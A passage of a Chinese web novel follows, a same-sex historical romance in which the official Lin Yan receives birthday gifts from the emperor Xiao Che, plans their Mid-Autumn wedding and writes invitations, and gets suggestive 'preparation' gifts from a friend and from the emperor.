“如今天气炎热,诸位办公辛苦,喝些冰饮解解暑气。”林砚给众人分发。 这可真是送到心坎上了。 虽说朝廷有赐冰,但像这般随时能喝到冰镇饮子的待遇,可不是人人都有的。 众人捧着冰凉沁骨的瓷碗,对这位年轻体贴出手大方的上官好感度更是蹭蹭往上涨,吉祥话一筐一筐地往外倒。 “林侍郎太客气了!” “多谢林大人,这饮子真是及时雨啊!” “祝林大人生辰吉乐!” 一时间,户部公廨欢声笑语,其乐融融。 热闹了一阵,众人各自散去办公。 林砚看着时辰,果然依张厚朴所言,将收到的礼物仔细打包好,准备先行回府。 同僚们见他起身,又纷纷笑着与他道别。 林砚揣着那颗被同僚温暖,以及某份画册带来的一丝尴尬填满的心,乘着马车回了林府。 他将收到的礼物一一归置好,尤其是褚晔那份“重点保护对象”,被他小心翼翼地藏进了衣柜深处,确保万无一失。 抬头看了看滴漏,时辰尚早,离用午膳还有一会儿。 “备车,进宫。”林砚对小厮吩咐道,嘴角已经不自觉地带上了笑意。 要去跟男朋友贴贴! 马车轻快地驶向皇宫。 和林砚预料的一样,萧彻果然在等他。 见他进来,萧彻放下手中的朱笔,眉眼间那份属于帝王的威仪瞬间柔和下来,化作清晰可见的温煦。 “来了?”萧彻起身,很自然地迎上前,牵起他的手,“正等你一同用膳。” 林砚任由他牵着,跟着他往偏殿走,嘴里故意抱怨:“陛下也不派人去户部催催,万一我老老实实待到下值再来,这午膳岂不是要变成晚膳了?” 萧彻侧头看他,眼底漾着笑:“朕猜,张尚书也不会让含章生辰还要在公廨忙碌。” 偏殿的膳桌早已布置妥当,菜品不算铺张,却样样精致,且大多寓意吉祥,显然是用了心的。 长寿面自然是少不了的,汤清面滑,上面卧着个嫩生生的荷包蛋,旁边还点缀着几颗翠绿的青菜。 “都是御膳房琢磨的,尝尝合不合口味。”萧彻拉他在身边坐下,给他布菜,先夹了一筷子寓意“年年有余”的清蒸鲥鱼到他碟中。 林砚心里受用,嘴上却还要矜持一下:“陛下如此破费,臣受宠若惊。” “一年一次的日子,不算破费。”萧彻语气寻常,又给他盛了一小碗寓意“福寿绵长”的灵芝鹌鹑汤,“况且,朕乐意。” 这男朋友也太会了。 一顿饭吃得温馨惬意。 萧彻大部分时间都在照顾林砚,看他吃得香甜,比自己吃了还满足。 膳毕,宫人撤去残席,奉上清茶。 萧彻这才慢悠悠地道:“给你的生辰礼,备好了,随朕来。” 林砚好奇心起,跟着他走到殿外空旷处。 只见两名内侍正小心翼翼地牵着一匹通体雪白的宝马等在那里。 那马个头适中,线条流畅,肌肉匀称,眼神温顺,见到生人也不惊不躁,只是轻轻打了个响鼻。 “北戎新进贡的一批马里,朕亲自挑的。”萧彻指着那白马,语气带着几分献宝的意味,“性子最是温驯,脚力却也不弱,正适合你,待秋日天凉,朕带你去西郊跑马。” 林砚对马研究不多,但眼前这匹一看就不是凡品,那毛色、那体态。 他忍不住上前几步,试探着伸手摸了摸马颈,触手光滑温热,那马竟主动低下头,蹭了蹭他的掌心。 “它喜欢你。”萧彻笑道。 除了马,旁边还摆着一把弓。 弓身不知用什么木材所制,呈现出温润的琥珀色,上面镶嵌着精美的银丝纹路,弓弦绷紧,散发着蓄势待发的力量感。 “这是?”林砚看向萧彻。 “给你的弓。”萧彻言简意赅,拿起那把弓递到他手中,“骑射骑射,光会骑怎么行?朕教你。” 林砚接过弓,入手沉实,手感极佳。 他试着空拉了一下弓弦,能感受到那股内敛的劲道。 “我就会骑个马代步,骑射可真是一窍不通。”他前世今生加起来摸弓的次数都屈指可数。 “无妨。”萧彻看着他,眼神专注而温柔,“学不学得会,精不精,都不打紧,朕只是想带你试试,纵马驰骋,引弓射猎,是另一种畅快,你自小埋头苦读,如今又案牍劳形,该多些不一样的体验。” 林砚听着他的话,看着手中精美的弓,再瞧瞧旁边温顺神骏的白马,心里那点畏难情绪瞬间被一股豪情取代。 对啊,干嘛不体验点新鲜的? 说不定他天赋异禀,是个被文科耽误的武学奇才呢? “行。”林砚挺直腰板,眼神亮晶晶的,“那到时候就请陛下多多指教呀。” 萧彻被他这副信心满满的样子逗乐,伸手揉了揉他的头发:“好,朕等着看林爱卿大展身手。” 阳光洒在两人身上,照着白马银弓,也照着林砚脸上灿烂的笑容和萧彻眼底深沉的温柔。 林砚对这份生辰礼相当满意。 他围着白马转了两圈,越看越喜欢,忍不住又摸了摸它光滑的颈毛,那马儿似乎也通人性,温顺地蹭着他的手心。 “它有名字吗?”林砚回头问萧彻。 “尚未取名,等着它的主人来定。”萧彻走到他身边,与他一同看着这匹温驯又神骏的伙伴。 林砚沉吟片刻:“叫拂云如何?” “拂云。”萧彻品味了一下,点头,“好名字,既雅致,又合它的品相,以后它就是你的拂云了。” 得了新坐骑,还有新弓箭,林砚心痒难耐,恨不得立刻就去跑上一圈,但看看头顶明晃晃的太阳,果断被劝退。 “秋日,秋日一定去!”他摩挲着弓身上冰凉的银丝纹路,对萧彻重申,更像是在对自己强调。 “好,秋日一定。”萧彻含笑应允,牵起他的手,“外头晒,先进去。还有样小东西给你。” 还有?林砚眼睛一亮,今天是什么丰收日? 回到殿内,萧彻从书案上拿起一个巴掌大的紫檀木盒,递给他,盒子入手温润,带着淡淡的木香。 林砚打开,里面是一枚羊脂白玉佩,玉质细腻油润,雕着简单的祥云纹,中间嵌着一个极小的“砚”字,若不细看几乎察觉不到,玉佩戴着一条同色的丝绦,编得十分精巧。 “平日戴着玩。”萧彻语气随意,“知道你嫌那些大件的累赘,这个轻便些。” 林砚拿起玉佩,触手生温。 这玉一看就是极品,雕工更是内敛精湛,绝非“戴着玩”那么简单。 但他更在意的是那份心意,萧彻连他嫌沉,不爱佩戴繁复饰物的细节都记得。 “很喜欢。”林砚将玉佩握在掌心,抬头看着萧彻,眼睛弯弯的,“谢谢昭临哥哥。” 这一声“昭临哥哥”,唤得萧彻乱了心扉—— 作者有话说:哥哥哥哥[猫头]《 》 110-116 第111章 第 111 章 怎么不说话呀?昭临哥…… 林砚这一声“昭临哥哥”, 喊得又轻又软,尾音微微上挑,带着点刻意的甜腻, 像根羽毛, 不轻不重地在萧彻心尖上挠了一下。 萧彻整个人都僵住了。 他登基为帝已有数年,莫说“哥哥”, 便是直呼他表字“昭临”的,除了林砚, 也再无第二人敢如此僭越。 这突如其来的亲昵称呼,带着林砚身上独有的鲜活气,撞碎了他惯常的沉稳,一股难以言喻的热流猛地从心口窜起,瞬间冲上头顶, 耳根竟不受控制地隐隐发烫。 他下意识地想攥紧手指,却发现掌心不知何时已沁出薄汗。 “……胡闹。”萧彻的声音比平时低沉沙哑了许多,他试图维持住那点摇摇欲坠的帝王威仪,目光却不受控制地落在林砚那带着狡黠笑意的唇上,“谁准你这般称呼?” 然而,这话听在林砚耳里, 非但没有任何威慑力, 反而更像是某种欲拒还迎的信号。 萧彻这反应,有趣得很啊。 林砚本就存了逗弄之心, 此刻见萧彻耳廓泛红,眼神闪烁,更是玩心大起。 他非但没收敛,反而变本加厉,往前凑了凑, 几乎要贴上萧彻的胸膛,仰着脸,那双清亮的眼睛直勾勾地望着萧彻,故意夹起了嗓子,用更加婉转黏糊的语调,拖长了声音又唤了一声:“昭临——哥哥——” 这一声,比刚才那声更造作,更百转千回,仿佛裹了蜜糖,甜得发腻。 “你看,你送我的玉佩,我特别喜欢。”林砚晃了晃手里那枚羊脂白玉佩,眼神却依旧锁着萧彻,语气无辜又挑衅,“我叫你一声哥哥怎么了?你不喜欢吗?昭临哥哥?” 他每多喊一声“哥哥”,萧彻的呼吸就重一分,眸色也深一分。 那双向来深邃难测的凤眸里,此刻像是骤然点起了两簇幽暗的火苗,紧紧攫住眼前这个不知何为分寸,一再撩拨他的人。 林砚清晰地看到萧彻喉结剧烈地滚动了一下,那双盯着自己的眼睛里,翻涌着他熟悉又陌生的暗潮,是警告,是隐忍,更是一种几乎要将他拆吃入腹的占有欲。 若是平时,林砚见好就收,说不定就怂了。 可今天不知是生辰给了他底气,还是萧彻这副罕见的手足无措取悦了他,林砚只觉得胆子前所未有地肥。 他甚至还伸出指尖,轻轻戳了戳萧彻绷紧的胸口,继续在危险的边缘疯狂试探:“怎么不说话呀?昭临哥哥?真不喜欢我这么叫?那我以后可都不叫了哦……” 话音未落,那只作乱的手腕便被一只灼热的大手猛地攥住。 力道之大,让林砚猝不及防地低呼了一声。 下一秒,天旋地转。 萧彻手臂用力,猛地将人拽进怀里,另一只手铁箍般圈住林砚的腰,将他牢牢固定在自己身前,不容他再有丝毫退缩或捣乱的机会。 “林、含、章。”萧彻几乎是咬着牙,从齿缝里挤出这三个字,声音哑得不成样子,带着一种风雨欲来的危险气息,“你今日,是打定了主意要惹我?” 两人身体紧贴,林砚能清晰地感受到萧彻胸腔里传来的剧烈心跳,以及那透过薄薄衣料传来的、几乎要将他烫伤的体温。 他后知后觉地意识到,自己好像……玩脱了。 “我、我没……”林砚试图辩解,声音却因这突如其来的禁锢和逼近的气势弱了下去。 萧彻不再给他开口的机会。 他低头,以吻封缄。 这个吻不同于以往的温柔试探,也不同于情动时的缠绵深入,它带着一股不容置疑的惩罚意味,霸道、强势,甚至有些凶狠,如同骤雨疾风,瞬间将林砚所有的惊呼、讨饶、乃至呼吸都尽数吞噬。 “唔……萧……”林砚被这突如其来的攻势亲得脑子发懵,手脚发软,只能被动地仰着头,承受着这几乎要夺走他所有氧气的亲吻。 萧彻的手臂如同铁钳,将他死死圈在怀里,另一只手不知何时已扣住了他的后颈,迫使他承受得更深。 唇舌被用力撬开,肆意掠夺,带着惩罚性的啃咬和吮吸,让林砚舌根发麻,眼角不受控制地沁出生理性泪水。 他感觉自己的舌尖都被吸得发痛,仿佛连灵魂都要被这个凶狠的吻攫取出去。 太超过了…… 林砚徒劳地用手推拒着萧彻的胸膛,却被对方更紧地嵌入怀中,两人之间严丝合缝,再无半点间隙。 不知过了多久,就在林砚觉得自己快要窒息晕过去的时候,萧彻才终于稍稍退开些许。 两人的额头相抵,呼吸都粗重得不成样子。 林砚大口大口地喘着气,眼神迷离,嘴唇红肿湿润,泛着诱人的水光,脸颊更是红得不像话,整个人像是刚从水里捞出来,软绵绵地挂在萧彻身上,全靠对方的手臂支撑才没滑落到地上去。 萧彻看着怀中人这副被自己亲得七荤八素、眼泛泪光、可怜又可爱的模样,眼底的暗火非但没有熄灭,反而烧得更旺。 他拇指轻轻揩去林砚眼角渗出的泪珠,声音低哑,带着事后的慵懒和一丝未消的余怒,以及更深沉的占有欲:“还叫吗?昭临哥哥?” 林砚此刻哪里还敢造次。 他把头摇得像拨浪鼓,声音带着哭腔和浓浓的鼻音,含混不清地求饶:“不叫了……” 再浪他今天可能就得爬着回家了。 感觉自己的舌头到现在还是麻的,嘴唇也又肿又痛,一张口就牵扯着敏感的神经。 萧彻这个混蛋,怕不是属狗的。 见林砚终于老实下来,萧彻心底那点因被撩拨过头而生的躁意才稍稍平复,取而代之的是一种难以言喻的满足感。 他低下头,又在那红肿的唇瓣上轻轻啄吻了几下,带着安抚的意味,动作温柔了许多,与方才的凶狠判若两人。 “乖。” 林砚被他这打一棒子给颗甜枣的行为气得牙痒痒,把滚烫的脸埋进萧彻颈窝里,无声地表达自己的抗议和羞愤。 萧昭临你等着吧,以后有的是你求我喊你昭临哥哥的时候。 萧彻就这么抱着他,手掌在他后背轻轻拍抚,像是在给一只炸毛的猫顺毛。 殿内一时安静下来,只剩下两人逐渐平复的呼吸声,以及那无声流淌的暧昧气息。 过了好一会儿,林砚才缓过劲来,那股羞愤后知后觉地涌上顶峰。 他猛地从萧彻怀里挣脱出来,虽然腿还有点软,但气势不能输——指着殿门的方向,色厉内荏地低吼:“你出去!” 萧彻挑眉,好整以暇地看着他,仿佛在问“你确定?”。 林砚被他看得更加羞窘,一想到自己刚才被亲得毫无还手之力,连话都说不利索的样子,就恨不得找个地缝钻进去。 “快出去!我要一个人静静!”林砚恼羞成怒,上手去推萧彻。 萧彻看着他那张红晕未褪、却强装凶狠的脸,知道他是真羞着了,也不再逗他,顺从地被推着往殿外走。 只是临到门口,他又回头,意味深长地看了林砚一眼,低声道:“晚些时候,朕再来寻你。” 那眼神,那语气,分明是在说“这事没完”。 林砚气得抓起旁边软榻上的一个引枕就砸了过去:“滚粗。” 萧彻轻笑一声,轻松接住引枕,随手放在一旁,这才施施然地转身离开了,还贴心地将殿门为他合拢。 殿门关上的瞬间,林砚强撑的气势瞬间垮掉。 他腿一软,几乎是踉跄着扑到旁边的软榻上,把滚烫的脸深深埋进柔软的锦垫里,发出一连串无声的羞愤欲死的哀嚎。 啊啊啊啊啊! 居然被萧彻亲得毫无招架之力!舌头到现在还是麻的!嘴唇也又肿又痛! 还有,萧彻刚才那架势、那技术。 林砚猛地从锦垫里抬起头,脸上红晕未消,眼神里却充满了难以置信和一丝微妙的探究。 怎么感觉萧彻的技术比之前又进步了?! 那吻里的力道、角度、还有那种让人头皮发麻、浑身发软的掌控感。 不对劲,很不对劲。 萧彻他真的没有背着他偷偷学习吗? 他一个日理万机的皇帝,哪来的时间研究这个? 难道是无师自通、天赋异禀吧? 林砚抱着软枕,在榻上滚来滚去,脑子里乱糟糟的,一会儿是刚才那令人面红耳赤的亲吻画面,一会儿是对萧彻“技术进步”的狐疑。 原来当攻的,都这么有能耐的吗? 他在宫里跟萧彻黏黏糊糊地磨蹭了许久,直到申时过后,日头西斜,暑气稍退,才终于收拾好心情,准备打道回府。 乘坐马车回到林府,刚进自己的院子,就见母亲文韫身边的丫鬟捧着两个精致的锦盒候在那里。 “少爷,夫人和小姐给您准备的生辰礼,让奴婢给您送过来。”丫鬟笑着行礼。 林砚心头一暖,接过锦盒。 打开一看,文韫送的是一套上好的徽墨和湖笔,知道他平日用得着,贴心又实用。 林墨送的则是一个她自己绣的松柏纹样的穗子,针脚细密,寓意长寿安康,虽不贵重,却满是妹妹的心意。 “替我谢谢娘和墨儿,就说礼物我很喜欢。”林砚笑着对丫鬟道,让她回去复命。 将母亲和妹妹的礼物仔细收好,与早上同僚们送的放在一处,林砚看着这一小堆心意,只觉得浑身都暖洋洋的。 看看时辰,父亲尚未下值回来。 林砚便先在房中歇息,等着父亲回来一同用晚膳。 期间,文韫亲自过来了一趟,脸上带着温和的笑意,手里还拿着几张写了字的红纸。 “砚儿。”文韫在他身边坐下,将红纸摊开在桌上,“娘这些日子看了几个日子,都觉得不错,尤其是八月十五,中秋节这天,秋高气爽,不冷不热,日子也好,团圆美满,寓意极佳,娘各方面思量过了,觉得将婚期定在这天最是合适,你觉得呢?” 林砚闻言,心头一跳。 婚期。 他和萧彻的婚期。 虽然早已互许终身,连“嫁妆”都收了,但听到具体日期被定下来,还是忍不住一阵心跳加速,夹杂着些许难以言喻的紧张。 他低头看了看那红纸上写着的“八月十五”四个字,耳根微微发热,点了点头,声音还算平稳:“儿子觉得甚好,全凭娘做主。” 文韫见他应下,脸上笑容更深:“那便这么定了,既然日子定了,这请柬也该着手准备了,虽说宾客不多,但总要亲自书写,方显诚意,你与陛下,得空时便将请柬写了吧,左右请的人不多,应当忙得过来。” “嗯,儿子晓得了。”林砚应道。 前世今生头一遭结婚,还要写请柬,这体验,还真是新奇又让人有点手抖。 文韫又嘱咐了几句,这才心满意足地离开。 没过多久,林承稷也下值回府了。 林承稷给林砚带的生辰礼是林砚找了许久的孤本,一直没找到,没成想会被自己父亲找到,还当作生辰礼送给了他。 晚膳时分,一家人围坐在一起,桌上摆满了林砚爱吃的菜肴,气氛温馨融洽。 林墨叽叽喳喳地说着今日的趣事,文韫和林承稷含笑听着,偶尔给林砚夹菜。 吃着吃着,林墨忽然想起什么,眨巴着大眼睛,看看林砚,又看看父母,语出惊人:“等明年哥哥成了亲,陛下是不是也会跟咱们坐在一张桌子上吃饭呀?” 这话一出,正在喝汤的林承稷差点呛到,文韫夹菜的手也顿在了半空。 夫妻二人对视一眼,都在对方眼中看到了同样的紧张和无措。 跟皇帝一张桌子吃饭? 光是想象一下那个画面,就够让他们头皮发麻。 文韫定了定神,半真半假地吓唬林墨:“胡说什么呢?没规矩,再乱说话,娘明年就给你相看婆家,早早把你嫁出去。” 林墨一听,立刻吓得缩了缩脖子,赶紧扒拉了两口饭,小声嘟囔:“我错了嘛,我不说了。” 她可不想这么早就嫁人。 林砚看着父母那副如临大敌的样子,再瞅瞅妹妹瞬间认怂的模样,一个没忍住,“噗嗤”一声笑了出来。 他爹娘才不会着急把林墨嫁出去呢,不过是吓唬她罢了。 不过,想象一下明年中秋,萧彻以“林家媳妇”的身份坐在自家饭桌上,跟爹娘妹妹一起吃饭的场景…… 嗯,那画面太美,他也有点不敢细想—— 作者有话说:等着成亲以后某人就要央着含章喊哥哥还有各种咯[猫头] 第112章 第 112 章 毕竟萧彻的份量可不小…… 林砚捏着手里那张洒金红纸, 感觉比批十斤户部账册还让人头大。 他和萧彻,正窝在丹园临水的小书房里,对着满桌子各式各样的精美纸笺、笔墨砚台, 进行一项前所未有的重大工程——写他们成亲的请柬。 这事儿说起来简单, 不就是写个帖子请人来喝喜酒么?可真落到笔头上,林砚才发觉, 要在这方寸之间,把他和萧彻那点不能宣之于众, 却又恨不得昭告全天下“我们在一起了”的喜悦与郑重给表达出来,简直难如登天。 萧彻显然比他更紧张,或者说,更用力过猛。 皇帝陛下面前摊开了一本厚厚的《礼部则例》,旁边还堆着《昭明文选》、《诗经》、《楚辞》, 甚至还有一本讲骈文写作的《四六法海》。 他眉头微蹙,目光在那些典籍和红纸之间来回扫视,手里拈着的那支紫毫笔,半晌都没能落下第一个字。 “陛下。”林砚忍不住开口,打破了这持续快一炷香的沉默,“咱们就是请褚晔他们几个知根知底的人来吃个饭, 见证一下, 不用写得跟祭天祷文似的吧?” 他真怕萧彻下一句就开始引用“惟天地之配合,实阴阳之肇端”之类的宏大意象。 萧彻抬起头, 眼神异常严肃:“含章此言差矣,婚书请柬,乃盟誓之始,见证之凭,岂可轻慢?纵是观礼者寥寥, 亦需诚敬端严,方不负你我之心。” 林砚:“……”好吧,你说得都对。 看着萧彻那副如临大敌,恨不得把平生所学都浓缩到一张请柬上的架势,还是觉得有点好笑。 林砚凑过去,抽走萧彻手里那支被捏得死紧的笔,放到笔山上,然后伸手按在萧彻微蹙的眉心上,轻轻揉了揉。 “知道陛下重视。”林砚放软了声音,“我也重视啊,可咱们写的是喜帖,不是陛下你平日里批的奏折,想想褚晔收到请柬,打开一看,满篇伏以乾坤交泰,琴瑟和鸣之类的话,他会不会觉得咱俩被什么东西附体了?” 萧彻被他揉得眉心舒展了些,顺势抓住他的手握在掌心,语气却依旧固执:“礼不可废,况且,朕想将最好的祝语,都予你。” “最好的祝语,不就是我们俩要成亲了这个事实本身吗?”林砚反握住他的手,指尖在他掌心挠了挠,眼神亮晶晶的,“再说了,最好的难道不是萧昭临本人?” 萧彻看着林砚带着笑意的眼睛,那里清晰地映着自己的影子,还有毫无保留的爱意和坦然,心底那点因过于郑重而生的紧绷感,奇异地松动了些。 “那依含章之见,当如何写?”萧彻将选择权交给了他的新郎官。 林砚摸着下巴,看着那叠漂亮的红纸,眼珠转了转:“要我说,就简单点,真诚点,比如,林砚与萧彻,情投意合,愿缔鸳盟,谨于中秋月圆之夜,于丹园设宴,恭请阁下莅临,同证此情,如何?” 他自觉这番话说得既表明了事实,又不失文雅。 萧彻听完,沉默了片刻,然后缓缓摇头:“过于直白,且未言明佳期、地点,亦缺邀约之敬语。” 林砚:“……”得,皇帝陛下的格式要求还挺多。 “那陛下觉得该怎么改?”林砚决定还是让萧彻来。 萧彻果然重新拿起笔,蘸饱了墨,在一张草稿纸上写下: 谨詹于景和二年八月十五日,值此中秋良辰,于城南丹园,举行婚礼。 林氏含章,萧氏昭临,敬备薄酌,恭候 褚兄晔 及 赫连先生锋 台驾光临,不胜欣幸。 林砚伸着脖子一看,好家伙,时间、地点、人物、事件,要素齐全,格式工整,用词也够典雅庄重,挑不出错来。 但他就是觉得有点太官方了,像是一份格式完美的公文,而不是充满喜悦的私人请柬。 这算是皇帝的职业病吗? “但凡这请柬能像奏折那样怎么折都有面儿,”林砚小声嘀咕,“我怀疑陛下你能直接长篇大论一封请柬出来,从我们俩怎么认识的写到未来生几个……呃,这个算了。” 萧彻耳尖微动,似乎真在考虑林砚那个“长篇大论”的可能性,吓得林砚赶紧按住他的手:“打住!” 真怕萧彻兴致一来,开始阐述他们爱情的深刻意义与对江山社稷的积极影响。 最终,两人经过一番友好协商,决定以萧彻的版本为蓝本,但在措辞上稍微软化了一点点,更偏向于朋友间的郑重邀请,而非官方通知。 萧彻负责执笔,他那手字风骨天成,气势内敛,写在洒金红笺上,确实赏心悦目。 写好了给褚晔和赫连锋的请柬,林砚小心地吹干墨迹,装入特制的信封中,他打算亲自给褚晔送过去。 同僚里也就褚晔知晓他跟萧彻的事儿,还赞助了不少“学习资料”,于情于理,都该他亲自跑一趟。 褚晔的宅子离六部公廨不远,据说是赫连锋花钱置办的,就是为了方便他上下值。 到了褚府,通报后很快就被请了进去。褚晔正在书房里对账,见林砚来了,有些意外,笑着迎上来:“林兄?今日怎么得空过来?可是户部那边有什么急事?” “非也非也,”林砚摆手,环顾了一下书房,布置得清雅舒适,可见主人品味,“赫连先生不在家?” “他啊,”褚晔请林砚坐下,亲自给他倒了杯茶,“前些日子又带着商队往北边去了,说是发现了一批不错的皮子,要去谈谈,家里就我一人。” 林砚点点头,捧着茶杯,随口问道:“说起来,还未曾听褚兄提过家人,伯父伯母可还安好?” 他本是无心一问,却见褚晔端着茶杯的手微微一顿,脸上的笑容淡了些,但并未见多少悲戚,只是多了几分看透世事的平静。 “我没什么家人了。”褚晔语气平常,像在说一件与己无关的旧事,“或者说,早就不是家人了,我是被父母抛弃的孩子。” 林砚闻言,心里咯噔一下,顿时有些懊悔自己的唐突:“褚兄,对不住,我……” “无妨。”褚晔笑了笑,打断他的道歉,“都是陈年往事了,我父母有三个儿子,我是老二,上有长子,得父母看重,下有幼子,受爹娘疼爱,我这么个不上不下的老二,夹在中间,本就无足轻重,当年北地多战乱,许多人家南迁避难,路途艰难,多一张嘴便是多一份负担,我便成了那个被舍弃的累赘。” 褚晔说得轻描淡写,林砚却听得心头沉重。 在战乱年代被父母抛弃,几乎是灭顶之灾。 “幸好。”褚晔话锋一转,眼底染上真实的暖意,“我命不该绝,遇到了赫连家的商队,那时阿锋也不过是个十几岁的半大孩子,心肠却软,见我又冻又饿蜷在路边,就把我捡了回去,带回了家,他家里人心善,不仅收留了我,还通过人脉关系,帮我找了一个家境尚可的秀才家庭挂名做了义子,又供我读书科考。” 褚晔语气里带着毫不掩饰的感激与爱意:“后来我考中了进士,也是阿锋,用他做生意赚的钱,四处打点,帮我运作,我才能一步步走到今天,可以说,没有阿锋,就没有现在的褚晔。” 林砚听得动容,既是心疼褚晔年幼时的遭遇,更是为他和赫连锋之间这份深厚的情谊所感动。 他由衷赞道:“赫连先生是重情重义之人,褚兄你如今功成名就,又与赫连先生彼此扶持,情深意重,过往种种,便让它随风而去吧。” 褚晔豁达一笑:“正是此理,如今我什么都好,功名有了,贴心的人也在身边,有什么不好?那些旧事,早就不放在心上了。” 林砚见他确实释然,这才松了口气,真心为他高兴。 想起此行的目的,林砚脸上不由得露出笑容,从怀中取出那份精心准备的请柬,双手递了过去,语气带着抑制不住的喜悦和一点点小得意:“既然如此,那这份喜帖,褚兄和赫连先生,可一定要来。” 褚晔疑惑地接过那异常精美的洒金红笺,一边打开一边笑着问:“请柬?林兄家里有什么好……” 他的话戛然而止。 目光落在请柬上那并排的“林氏含章”与“萧氏昭临”,以及后面紧跟的“举行婚礼”四个字上。 褚晔的眼睛瞬间瞪得溜圆,嘴巴微张,拿着请柬的手都抖了一下,仿佛那薄薄的红纸有千钧重。 他猛地抬起头,难以置信地看向林砚,声音都变了调: “林、林兄?你要跟陛下成亲了!” 林砚被他这反应逗乐了,摸了摸鼻子,有点不好意思,又带着点压不住的得意:“嗯,中秋,在丹园,就请几个相熟的朋友,简单办一下。” 褚晔眼神依旧有些发直,目光再次落回请柬上那并排的两个名字上,仿佛要确认自己没看花眼。 半晌,他才像是终于消化了这个惊天消息,长长地吐出一口气,脸上绽开一个真心实意的笑容。 “好,好啊!”褚晔猛地一拍大腿,声音都洪亮了几分,他站起身,激动地来回踱了两步,“林兄,这可是天大的喜事!陛下他……你们……” 褚晔似乎想找些更华丽的词藻来表达祝福,但最终只是用力拍了拍林砚的肩膀,一切尽在不言中,“恭喜!恭喜你们!一百年好合,永结同心!” 林砚被他拍得肩膀发麻,心里却暖烘烘的:“多谢褚兄。” 激动过后,褚晔像是突然想起了什么至关重要的事情,脸上的笑容收敛了些,转而换上一种混杂着关切、探究和“我懂的”的微妙表情。 他凑近林砚,压低声音,语气变得贼兮兮的。 “不过林兄啊。”他挤了挤眼睛,“这成亲是好事,可洞房花烛夜你,准备得如何?” 林砚被他问得一愣,脸颊瞬间有点发烫,强作镇定道:“什、什么准备?自然是、自然是好好休息!” 天知道他跟萧彻到现在还没进行到最后一步,一方面是萧彻珍视他,总说留到洞房花烛,另一方面……林砚心里也确实有点没底,理论知识是学了不少,可实践是另一回事啊!尤其对手还是萧彻那种天赋异禀且学习能力超强的家伙。 褚晔一看他这反应,心里立刻门儿清。他嘿嘿一笑,露出一副“果然如此”的表情,转身就走到书房角落一个上锁的红木柜子前,窸窸窣窣地掏出钥匙打开。 “咱们兄弟一场,你又是跟陛下这等大事,做兄长的岂能让你毫无准备就上战场?”褚晔一边在柜子里翻找,一边头也不回地说道,语气活像个操心儿子终身大事的老父亲。 “阿锋之前又弄来些好东西,据说是海外番邦传来的孤本画册,还有……” 褚晔从柜子深处摸出一个巴掌大小、造型别致的白玉盒子,转身塞到林砚手里,脸上带着一种“你懂的”的神秘笑容:“还有这个,西域商人带来的顶级货色,据说用了几十种珍稀花草和蜂蜡秘制,触手生温,润滑滋养,效果奇佳,绝不会伤着……咳,你懂得。” 林砚看着手里那温润的白玉盒子,入手微凉,雕着缠枝莲纹,看起来精致又高雅,完全不像是什么“不正经”的东西。 但结合褚晔那挤眉弄眼的表情和含糊其辞的话语,他瞬间明白了这里面装的是什么——润滑用的油膏。 “轰”的一下,林砚只觉得一股热血直冲头顶,脸颊、耳朵、脖子瞬间红透,连握着盒子的指尖都烫得吓人。他像是捧了个烧红的炭,差点直接给扔出去。 “褚、褚兄!你、你这……”林砚舌头都打结了,话都说不利索,“这、这也太……我、我用不上!” 褚晔一看他连脖子根都红了,活像只被煮熟的虾子,更是乐不可支,压低声音,语重心长:“这可是好东西,有备无患嘛,陛下那般龙精虎猛,你若不提前准备周全,洞房之夜万一……咳咳,有所不便,受苦的可是你自己,你要相信我,我是过来人。” 那句“过来人”精准地戳中了林砚内心最隐秘的担忧。 他想起萧彻那双深邃眼眸里时常翻涌,几乎要将他吞噬的暗火,以及那几次在失控边缘,萧彻强忍着停下时紧绷的肌肉和沉重的呼吸……林砚下意识地攥紧了手里的白玉盒子,冰凉的触感似乎都压不住掌心的滚烫。 好像是得准备一下? 毕竟萧彻的份量可不小。 “那、那就多谢褚兄了。”林砚声如蚊蚋,几乎是从牙缝里挤出这几个字。 褚晔看着他这羞愤欲死又不得不接受的样子,感觉自己为同僚的幸福做出了不可磨灭的贡献。 他再次郑重地拿起那份请柬,笑容满面:“放心,中秋那日,我与阿锋必定准时到场,这等盛事,岂能错过?” 褚晔挤眉弄眼:“中秋之前你若有什么疑惑,随时来寻我。” 林砚:“……”要命—— 作者有话说:下一章字数不够三千,今天一起更了,大家往后翻[比心] 第113章 第 113 章 萧彻就是那狼,还是个…… 林砚揣着那个烫手山芋般的白玉盒子回丹园, 一路上,他只觉得怀里的东西似有千钧重,烧得他坐立难安, 脸颊上的红晕就没褪下去过。 刚踏进丹园属于他的那间静室, 还没来得及把这烫手之物收好,就看见萧彻好整以暇地坐在临窗的软榻上, 手中正端详着另一个……看起来更显雅致贵气的紫檀木盒。 见他进来,萧彻抬起头, 唇角微扬,眼神里带着点了然,又有点温和的戏谑。 “回来了?”萧彻语气寻常,仿佛在问今日膳食可合口,“褚晔那边, 都妥当了?” 林砚心里莫名一慌,下意识将握着白玉盒子的手往身后藏了藏,含糊应道:“嗯,请柬送到了,他说一定来。” 萧彻的目光似有若无地扫过林砚背在身后的手,没有多问, 反而将自己手中的紫檀木盒往前推了推, 语气带着一种讨论要务般的正经:“巧了,朕这里, 也备了些你可能需用的物件。” 林砚眼皮一跳,那股不祥的预感更浓了。 他磨磨蹭蹭地走过去,探头一望—— 紫檀木盒内衬柔软绸缎,上面整齐地放着几个素雅的瓷瓶与两件打磨得温润光滑的玉器,看着倒像是文人雅士的案头清玩, 若非知晓萧彻的意图,他几乎要以为这是赏玩的珍宝。 “这、这些是……”林砚的声音有些发紧。 萧彻取出一个天青釉小瓷瓶,拔开塞子,一缕清幽淡远的兰香便飘散出来,里头是色泽莹润的膏体。 “一些养润的香膏。”萧彻神色自若地解释,“太医监制,用了兰蕊、蜂蜡等物,性质温和,于身体有益。” 林砚耳根发热,盯着那瓷瓶,一个字也接不上来。 【太医调配?连这个都……萧昭临你到底私下做了多少功课!】 萧彻仿佛对林砚的心潮起伏浑然不觉,又拾起旁边一件玉器。 那物件线条流畅,通体温润,泛着细腻柔和的光泽。 “暖玉所制,也有温养之效。”萧彻语调平稳如常,“使用前需以温水浸润,或佐以少许香膏,更为顺滑。” 林砚看着那玉器,脸颊烧得更厉害,连指尖都有些发麻,声音几乎卡在喉咙里:“这、这玉……作何用?” 话问出口,林砚恨不能咬掉舌头。 萧彻抬眸看他,目光沉静而专注,不容回避:“含章,大婚之期渐近,我不希望你届时受苦。” 他的视线扫过林砚瞬间绷紧的肩背,语气放缓,却字字清晰,“有些事,需得提前适应,循序渐进,方为稳妥。” 